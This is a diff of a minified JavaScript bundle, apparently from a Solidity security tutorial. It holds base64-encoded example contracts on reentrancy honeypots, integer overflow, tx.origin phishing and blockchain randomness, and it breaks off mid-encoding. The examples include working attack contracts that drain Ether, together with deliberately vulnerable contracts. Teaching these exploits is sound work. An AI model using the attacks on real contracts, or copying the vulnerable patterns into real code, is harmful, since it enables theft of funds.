CAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],u0=`

                                    A honeypot is a trap to catch hackers.

                                    +`,h0=({prev:s,next:a})=>r.jsx(A,{version:t0,title:o0,description:r0,html:g0,prev:s,next:a,codes:i0}),I0="0.8.24",d0="Honeypot",C0="An example of honeypot in Solidity",j0=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],A0=`

                                    A honeypot is a trap to catch hackers.

                                    Vulnerability

                                    Combining two exploits, reentrancy and hiding malicious code, we can build a contract

                                    that will catch malicious users.

                                    @@ -10160,7 +10160,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,y0=({prev:s,next:a})=>r.jsx(A,{version:d0,title:C0,description:j0,html:u0,prev:s,next:a,codes:A0}),m0="0.8.24",b0="Arithmetic Overflow and Underflow",w0="An example of hacking Solidity with arithmetic overflow / underflow",k0=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],Z0=`

                                    Vulnerability

                                    +`,u0=({prev:s,next:a})=>r.jsx(A,{version:I0,title:d0,description:C0,html:A0,prev:s,next:a,codes:j0}),y0="0.8.24",m0="Arithmetic Overflow and Underflow",b0="An example of hacking Solidity with arithmetic overflow / underflow",w0=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],k0=`

                                    Vulnerability

                                    Solidity < 0.8

                                    Integers in Solidity overflow / underflow without any errors

                                    Solidity >= 0.8
                                    @@ -10239,7 +10239,7 @@ before the 1 week waiting period.

                                  • Solidity 0.8 defaults to throwing an error for overflow / underflow

                                  -`,W0=({prev:s,next:a})=>r.jsx(A,{version:m0,title:b0,description:w0,html:Z0,prev:s,next:a,codes:k0}),B0="0.8.24",G0="Phishing with tx.origin",V0="An example of phishing with tx.origin in Solidity",f0=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],Y0=`

                                  What's the difference between msg.sender and tx.origin?

                                  +`,Z0=({prev:s,next:a})=>r.jsx(A,{version:y0,title:m0,description:b0,html:k0,prev:s,next:a,codes:w0}),W0="0.8.24",B0="Phishing with tx.origin",G0="An example of phishing with tx.origin in Solidity",V0=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],f0=`

                                  What's the difference between msg.sender and tx.origin?

                                  If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

                                  Vulnerability

                                  A malicious contract can deceive the owner of a contract into calling a @@ -10302,7 +10302,7 @@ it authorized the transfer. The wallet transferred all Ether to Eve. (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } -`,X0=({prev:s,next:a})=>r.jsx(A,{version:B0,title:G0,description:V0,html:Y0,prev:s,next:a,codes:f0}),R0="0.8.24",v0="Source of Randomness",N0="Blockchain is not a reliable source of randomness in Solidity",H0=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgIC